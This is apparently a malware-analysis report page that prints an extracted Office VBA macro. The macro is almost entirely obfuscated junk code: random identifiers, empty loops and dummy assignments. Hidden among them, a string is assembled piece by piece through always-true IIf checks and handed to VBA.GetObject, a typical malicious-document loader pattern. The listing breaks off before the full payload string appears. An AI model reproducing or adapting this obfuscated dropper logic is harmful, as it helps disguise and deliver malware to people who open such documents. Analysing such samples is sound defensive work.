LUwygiSiRQiiyn = Fix(92575)
Next
COcEvULEHakEdycUjAfiz = "wulaKOsarET"
FiiJeayboxadabaLeBEd = 4363
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((28 + 56) = 84, "=d", "lu")
Dim TIkagTaCYteaAKyioM
For TIkagTaCYteaAKyioM = 2 To 10
Dim rOqabyQEfuaCojoGIpeZO
For rOqabyQEfuaCojoGIpeZO = 10 To 10
Dim QehuNeLUBUr
QehuNeLUBUr = Fix(86090)
Next
Dim SaaYbedUk
SaaYbedUk = 57391
Dim nIfoqERUmoBeEl
cYXOWeRaFYnUMxeV = "JIhINoSIzOBIhiJiN"
Dim JaMUGiLadYwApqyV
For JaMUGiLadYwApqyV = 7 To 10
Dim xuNAlejubimiiuQuby
xuNAlejubimiiuQuby = Fix(40645)
Next
FetukABybiQEX = "FYKaQUsAHi"
nIfoqERUmoBeEl = Fix(85418)
Next
Dim kIMoLAFYJYkYPIDufYb
kIMoLAFYJYkYPIDufYb = 74089
HySOmOlejADEX = Val("45342") & "CEauhYtosUfiqoVuS"
zonUciNaiUjEHItIZUk = "gygeveXuaYQeREgArALI"
Dim kitYVuKoZYfofIx
kitYVuKoZYfofIx = 86892
aEtohuZIqEGu = "SavInGoCUbEQEqyRO"
Dim rydIhojOM
For rydIhojOM = 4 To 12
Dim tYhyMElihiDEJYayS
tYhyMElihiDEJYayS = Fix(42830)
Next
Dim aYNutAWExY
FOkuggiZEwihUq = 7485
Dim XafUbUZYsuDOSUbYi
XafUbUZYsuDOSUbYi = 93167
Dim fYRPohuQyWitE
fYRPohuQyWitE = 27597
For aYNutAWExY = 1 To 11
Dim ByZOxUZOBuQYGogeqe
ByZOxUZOBuQYGogeqe = Fix(44774)
Dim zOFYLypUBuzaHYwo
For zOFYLypUBuzaHYwo = 4 To 13
Dim hyeYSiFOpYhYTsoMeU
hyeYSiFOpYhYTsoMeU = Fix(27371)
Next
Dim wOTevAforiJ
For wOTevAforiJ = 0 To 11
Dim JITEBUBiBubIstE
JITEBUBiBubIstE = Fix(39087)
Next
Next
PaBanZimJ = Val("38578") & "paXYSAKECiJo"
Dim SmiZYLUrOpEKu
For SmiZYLUrOpEKu = 3 To 10
Dim qoRAQUqENijEJi
qoRAQUqENijEJi = Fix(73394)
Next
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((276 + 552) = 828, "at", "cJ")
VIfIxogavZa = 50299
GERYtuayiIs = "xYPOidIqE"
iOPebFymOnEdEGi = 57462
XAJayXuZuJikiaiH = XAJayXuZuJikiaiH + IIf((97 + 194) = 291, "c", "iP")
Dim taBIkIzAwOmoroj
For taBIkIzAwOmoroj = 4 To 12
Dim ZELOxeLYwYp
ZELOxeLYwYp = Fix(11199)
Next
Dim xWiFeWigoqaBuS
xWiFeWigoqaBuS = 54200
fUnydYpAiI = "vUdONAJyaEPuzAKeKlAW"
Dim dEvEheaUbENiF
For dEvEheaUbENiF = 7 To 10
Dim oaABaSEDeku
For oaABaSEDeku = 8 To 13
Dim xOWAiIfApEcRu
xOWAiIfApEcRu = Fix(44781)
Next
Dim VOvYTEbuboHIdEk
For VOvYTEbuboHIdEk = 5 To 10
Dim fUSeaYziqsypAHanU
fUSeaYziqsypAHanU = Fix(21115)
Next
Dim WyTvOlYHObY
WyTvOlYHObY = Fix(25444)
Dim LRogACuiUtOfiCu
For LRogACuiUtOfiCu = 7 To 10
Dim PiQehehowEb
PiQehehowEb = Fix(93917)
Next
Next
Dim BYaUjOZaPoXysE
BYaUjOZaPoXysE = 49734
noByVeJEn = 91488
Dim biYaidaQ
For biYaidaQ = 10 To 12
Dim seEGIZekENYHIDhof
seEGIZekENYHIDhof = Fix(1583)
Next
Dim sAjovypujyQAbIF
sAjovypujyQAbIF = 30660
Dim SaLOmEqAhAioNA
For SaLOmEqAhAioNA = 8 To 13
Dim gIbaNALidozamotURUiOv
gIbaNALidozamotURUiOv = Fix(67491)
Next
WIiLOSyv = 29034
Dim teWYhAbIPIsoLuhu
tIaOUNZot = 21477
bQEBaXACoiePibUgY = 37526
teWYhAbIPIsoLuhu = 41019
Dim WabEPyvYQABoHijauW
For WabEPyvYQABoHijauW = 3 To 12
Dim PYPoBAhguKse
PYPoBAhguKse = Fix(38839)
Next
xYramirahYDIRI = "RAsiZihIQnyIyg"
duLOduTUSemuQAGI = 98060
xEwEqOZEaiLoW = "ioWiXYCOzUBiCyBejEWaq"
Dim qYFisYxUgIHYia
For qYFisYxUgIHYia = 8 To 11
Dim VEJCAFesIViHiXoxAKi
VEJCAFesIViHiXoxAKi = Fix(16662)
Next
Dim YgiHIqiBYZahYgafI
For YgiHIqiBYZahYgafI = 7 To 10
Dim maJnUTyqO
maJnUTyqO = Fix(70885)
Next
LYGUQoPeNIKEjuSi = Val("55738") & "KeWAVgUGarOcAJ"
dYsOceSuG = "RExUsOPutATYVYhXyq"
gOlolidarelIaDih = "WokiQYqZZasiQiHOmi"
Dim tEfEgAxAHofhuWATuJi
For tEfEgAxAHofhuWATuJi = 0 To 13
Dim bAPInanip
bAPInanip = Fix(33312)
Next
GEipaWISoKAL = "rZEcIQIfqiCU"
Dim KiiuqazocHoNurYHeS
KiiuqazocHoNurYHeS = 88673
JIJiDAJAjaxipu = 25531
Dim XOqlubipEQYDITO
For XOqlubipEQYDITO = 7 To 12
Dim mAkoWaNqoLIpeGiKyMeW
mAkoWaNqoLIpeGiKyMeW = Fix(47073)
Next
Dim xOJyapUd
For xOJyapUd = 2 To 10
kUBObpELuGblo = 11827
varyNyvOUJjexo = Val("82145") & "mAQUioniGeNunURuMYj"
Dim cuQaSOTAsIHAtoiUvOCH
cuQaSOTAsIHAtoiUvOCH = 34074
Dim gIbylEHunISEQg
zUzOTiVYWYzYZusUjiaUBy = Val("62203") & "vOqoqDucaFeiA"
Dim WaVusazEHiqy
WaVusazEHiqy = 63594
gIbylEHunISEQg = Fix(46680)
Next
LyIiAQoJ = "FEKixEKISuNOWiFEOiny"
nIViEHOPYWe = Val("44557") & "dyqElYZlAwi"
BEvOhIugUPilUrYcIPt = Val("29873") & "iPUWYdUkOPIC"
KYPRILHEpYhUWOJEW = "vUDAXEVaaytyKa"
Dim jePOlyiIPowoLI
jePOlyiIPowoLI = 55946
Dim HtileLYcigEkUDUbage
HtileLYcigEkUDUbage = 92704
pOzyZYRAHoWIgEXuDoMy = "rUnipHedEXo"
pOneQaQfUi = "FikYqURYVY"
tAwEzmUHyKWOmoCAm = 69491
Dim DItuJIkapuTYP
For DItuJIkapuTYP = 3 To 10
Dim WiCIhiiOgOsuio
WiCIhiiOgOsuio = Fix(417)
Next
QniWyRIXI = Val("50202") & "kzYHyvilywYFYh"
Dim wCetiaeCeCsa
Dim qeFOcOnuSIIjUTItOQ
For qeFOcOnuSIIjUTItOQ = 6 To 13
Dim SUwaXWoSeCYPunudi
SUwaXWoSeCYPunudi = Fix(84950)
Next
wCetiaeCeCsa = 11047
NXilUJYMePokE = "PSApUPEwIa"
Dim WELoSezcUPaLOq
For WELoSezcUPaLOq = 0 To 11
Dim huLoiOtOSEwIQ
huLoiOtOSEwIQ = Fix(4729)
Next
Dim weLEsovyN
weLEsovyN = 47512
gOFIVucOmaeGArO = "WEgykODojiP"
hoDEVotIdeyduWOWyZ = "FuPIJePiqUSuBUce"
Dim ZixiQYriPELUvYaf
ZixiQYriPELUvYaf = 20358
Dim KZIPIXISUDabUj
For KZIPIXISUDabUj = 3 To 11
Dim soaOwAqOkeNA
soaOwAqOkeNA = Fix(77228)
Next
FAaHUpOsudEkA = Val("61688") & "cOtaSYVYaagIZuz"
Dim kAgaEIp
For kAgaEIp = 3 To 12
Dim qONUfFAlOS
qONUfFAlOS = Fix(12356)
Next
Dim biKSIXaqzoCuhUSA
tYzELOMyJ = Val("87940") & "semocolYCuJOMm"
KUteLyWEFUJoMOnIwYj = Val("11263") & "nYDinujUZeCoT"
biKSIXaqzoCuhUSA = 67558
LYaAnIcUMaXYPAn = 14023
aAtEFoORjonY = "xiREaitASAdyCi"
Dim rUlAkeYRUHOagua
For rUlAkeYRUHOagua = 3 To 11
Dim cIbehICoseKal
cIbehICoseKal = Fix(64268)
Next
Dim zYLIxYjOJeZYdo
For zYLIxYjOJeZYdo = 8 To 10
Dim zIvEoNulYsOqUSIYgEZY
zIvEoNulYsOqUSIYgEZY = Fix(31658)
Next
Dim HEZEOkoKu
HEZEOkoKu = 559
Dim LYLajIxOMEpeRaaiUcaQ
For LYLajIxOMEpeRaaiUcaQ = 0 To 10
Dim ViWUTUeZ
ViWUTUeZ = Fix(32973)
Next
Dim qoLuxuzIPUXeiiFadejULa
qoLuxuzIPUXeiiFadejULa = 2998
kAZevYNELUhyp = RTrim(RTrim(XAJayXuZuJikiaiH))
VBA.GetObject (kAZevYNELUhyp) & LTrim(LTrim(""))
ViHIWAVUi = Val("27531") & "xoHApEmAZANIS"
VefEqEBOXpysEzoT = Val("1642") & "QOxoaYKaiK"
KaGuJIlAa = 12750
VaAlokOPixapEWyX = Val("72917") & "kiEocetysEKYXIFe"
Dim NAnoaAtiKEl
NAnoaAtiKEl = 27501
aijisAiLeKIMEhIREvemo = Val("66068") & "VyzIQeFOSOqOCojADGYwo"
VefIlUVaKgilucOX = Val("92140") & "tOHExobyJYREhUSESytL"
bYQekIWDY = "wUVeMogFU"
Dim TYdywEjEaYWO
TYdywEjEaYWO = 62543
iybnUNyBIJomkUmAkUB = 7797
hoFaMkYgUzIpuT = Val("8792") & "tOayBEMypoHEnIFodybaG"
Dim bYjUjORUniFWUaIWYnaC
bYjUjORUniFWUaIWYnaC = 452
Dim ZIiAFaNyGYSunUg
Dim zAkOFerISfwIRu
For zAkOFerISfwIRu = 8 To 11
Dim fAXenewywABoneBI
fAXenewywABoneBI = Fix(95856)
Next
dubIsEHoqCYTOje = 13343
For ZIiAFaNyGYSunUg = 9 To 10
Dim ZonenArokOgYj
ZonenArokOgYj = Fix(35110)
TovaQiVUsig = "PodybEJiovA"
CUviMiaAfaoF = 93991
Next
VYLIGoQABESITahZ = Val("94458") & "cYmeGiWYfzIWgEHY"
Dim soiywUarAiiCOWePA
kEiuNyJuWIiI = 82752
farEXSaBES = "raZoLpUHo"
soiywUarAiiCOWePA = 35289
HiHaAMYSVaKyFOLAZIVi = Val("63627") & "aIBALEKfEzupAcYriZOD"
XAXihawIdeGIkYRYPotuwu = "yaADAiivYgWYCohODa"
BAHABYkaCaiOJArokIST = "PAiOcESIlagOSiGimEbK"
QrYWixUhYJyXi = 25403
ViGitUGowetEzoFOFaqUta = "zdUNEporUrOWeSaH"
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.